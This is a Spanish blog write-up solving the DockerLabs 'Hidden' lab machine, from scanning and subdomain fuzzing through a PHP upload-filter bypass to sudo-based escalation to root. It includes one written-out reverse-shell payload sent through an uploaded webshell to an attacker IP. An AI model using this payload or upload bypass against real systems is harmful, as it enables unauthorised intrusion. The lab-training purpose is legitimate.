Resolución de la maquina Hidden | DockerLaps.es | WriteUp


Hidden




Que tal lord & lady


En esta ocasión te traigo la resolución de maquina Hidden de la plataforma Dockerlabs.es.

Requisitos previos:

- Tener configurado al menos una maquina virtual como Kali o Parrot (link aquí)

- Tener descargado lo necesario para el laboratorio de dockerlabs.es (link aquí)


Write Up Maquina Hidden #dockerlabs.es

Reconocimiento

Ping a la maquina, a la ip 172.17.0.2


En lo personal me gusta realizar lo anterior para cuando haga un tradicional "ls" pueda visualizar rápidamente que he realizado, si es que hice alguna pausa para seguir trabajando.


Bien, continuamos...


Enumeración

Escaneo de puertos con Nmap

Nmap nos retorna 1 solo puerto, el puerto 80


Servicios y versiones con Nmap


Encontramos que tiene corriendo un servicio de Apache versión 2.4.52.

Lo primero que podríamos hacer es verificar en Google vulnerabilidades para estas versiones, en mi caso realice una búsqueda superficial ...

Segundo y muy importante es intentar acceder al sitio:


Parece que hay sucediendo algo que no esperábamos hasta el momento... y es que al dar entre a la dirección del sitio web la maquina, no nos manda absolutamente nada...


Aun que si prestamos atención a la url, si ahora vemos hidden.lab, procederemos a hacer virtual hosting, para esto hay que agregar la IP de nuestra maquina y su virtual hosting a nuestro archivo /etc/hosts:


Damos F5 a nuestro sitio ... y 


Vuala!

Ahora si vamos a explorar un poco el sitio.

Te recomiendo que no seas tímido ROMPE si quieres, y lo que quieras...


Mientras estamos explorando, picando e intentando romper el sitio... podemos dejar realizando algunos analisis como atacantes:

1- Revisar tecnologías con Wappalizer:

Vamos al sitio y para ello elegimos el plugin de Wappalizer

2- Revisar tecnologías con Whatweb


3- Fuzzing

Para realizar fuzzing tenemos algunas alternativas, mis favoritas son gobuster y wfuzz, aún que esta otras como fuff, dirbuster entre otras.

- Directorios y archivos



Le daremos una vista rápida a todos estos directorios...

...

Después de un rato, yo cuando menos no encontré algo que pudiera explotar, si continuo y no hallo algo más tendré que regresar a este punto...


- Subdominios


Vaya vaya! 

Tenemos un subdominio, este hay que agregarlo a nuestra IP en el archivo /etc/hosts:


Bien, si vamos ahora a nuestro nuevo sitio:


Excelente, esto ya llama mi atención que estar picándole al sitio de COFFEE (boooooo!).

¿Que podemos hacer aquí?

Intentar subir archivos maliciosos, como por ejemplo en PHP.


Explotación

Vamos a intentar subir un archivo malicioso, yo ya tengo uno para este tipo de casos:


Vamos a intentar subirlo:


Damos "Subir archivo":


Que no le gustó.


Bueno bueno, esto aun no se acaba...

Existen técnicas para conseguir subir un archivo PHP, para ello vamos a tener que abrir Burpsuite como proxy e intentamos recibir la petición de la subida del archivo:

1- Configurando Burpsuite con FoxyProxy:


2- Activar proxy en BurpSuite:


3- Petición:


Yo suelo enviar la petición al repeater (Ctrl + R) esto para poder manipular fácilmente una nueva petición sin tener que ir al sitio, elegir un archivo y darle "Subir Archivo".

Ahora desde aquí, hay 2 cosas que quiero intentar: 

1- Subir el archivo con otra extensión valida para leer archivos PHP.

2- Jugar con el Content-Type para ver si permite acepta el archivo PHP.

Intentemos lo primero.

Hay varias extensiones de PHP que son validas:

Referencia: File Upload | HackTricks

...

Voy a cambiar el parámetro "filename" de php a php2 y le dare a "send":


Tal parece que si le gusto:

¿Pero ahora? ¿Donde lo subió?

Bien, fuzzing!




Excelente!

Ahora vemos si accedemos al famosisismo whoami:


Parece ser que no le gustó... bueno hay que seguir intentando con diferentes extensiones...

...

Vaya

Después de todos estos intentos:



Por fin pude obtener una respuesta positiva:

ReverseShell

Maquina atacante:


Maquina victima:


Payload: 

http://dev.hidden.lab/uploads/cmd.phtml?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/443%200%3E%261%22

OJO: revisa que la IP coincida con la tuya.

Maquina atacante:


Estamos dentro!



Post-Explotación

Ya estamos dentro ¿Ahora que?

Bien, hay que indagar los archivos del sistema para ver si encontramos archivos de configuración donde pudiéramos encontrar algunas credenciales, esto en los sitios, ya que, recordemos que somos www-data, que generalmente no tiene tantos privilegios.


Full Stty


OJO: aquí me equivoque, lo correcto es:

reset xterm


OJO: yo aqui utilizo 33 x 107 en mi acutal stty, tu puedes ver cuantos renglones y columnas manejas con:

stty size


Ahora si, podemos hacer arriba, abajo, Ctrl + L, Ctrl + C sin que se nos vaya al car4j0 la terminal comprometida.


Usuarios


Bien, tenemos 3 usuarios aparte de www-data y root:

- bobby

- cafetero

- john


Vamos a ver si podemos acceder a /etc/passwd y /etc/shadow, de esta manera pudiéramos realizar fuerza bruta:


Una herramienta que hable hace poco en Instagram (link aquí) de fuerza bruta fue de suBF.sh 

Veamos si tenemos nano,

Si si tenemos, vamos el texto hacia un archivo suBF.sh en la maquina victima:

link aquí



Excelente!

Ya tenemos nuestra herramienta de fuerza bruta, pero, falta una cosa

Para poder utilizar esta herramienta, necesitamos un diccionario.

Aquí el problema es, ¿Como paso el archivo? ya que no tengo wget ni curl.

Además, el archivo rockyou.txt de nuestra maquina, es grande.


Después de pensar un poco, recordé que podemos subir archivos, de la misma manera que subimos nuestro archivo malicioso en PHP, podríamos subir un mini rockyou, esperando que sea suficiente, pensé en al menos 1000 líneas.


Ahora a subirlo


Pues si, si me dejo

Ahora si, vamos a utilizar la fuerza bruta...


Para nuestra suerte conseguimos bruteforcear (vaya pikinglish bien poderoso) la contraseña del usuario cafetero


Si te llega a pasar que a mi, escribes y se hace popo todo, solo ejecuta correctamente (no como mis 1000 intentos):

script /dev/null -c bash

Y ya tendrías en teoría una full tty


Buscando la escalada de privilegios


Podemos a través de sudoers, ejecutar nano con el usuario de john:

Vamos a ver si podemos brincar de usuario:

Recordemos que podemos obtener información de binarios muy valiosa en GTFOBINS

Referencia: nano | GTFOBins

OJO: después de darle enter al comando en amarillo, hice un reset y di enter.


Ahora somos el usuario john, veremos si ahora si podemos ser root:



Vale, podemos ejecutar como el usuario bobby el comando apt a través de sudoers: vamos a gtfobins para ver que podemos hacer desde aquí:


Tenemos algunas opciones, vamos a ver ejecutarlas:


Damos enter:


Bien ahora somos bobby:


Excelente ahora como bobby, podemos ejecutar como root el comando find,

Vemos que podemos hacer con esto:


Lo intentamos


Y somos finalmente root.


Hemos conseguido la resolución y hackeo de la maquina Hidden, muy guapa.


Espero que este WriteUp te halla servidor para seguir aprendiendo de hacking.

Saludos.

Comentarios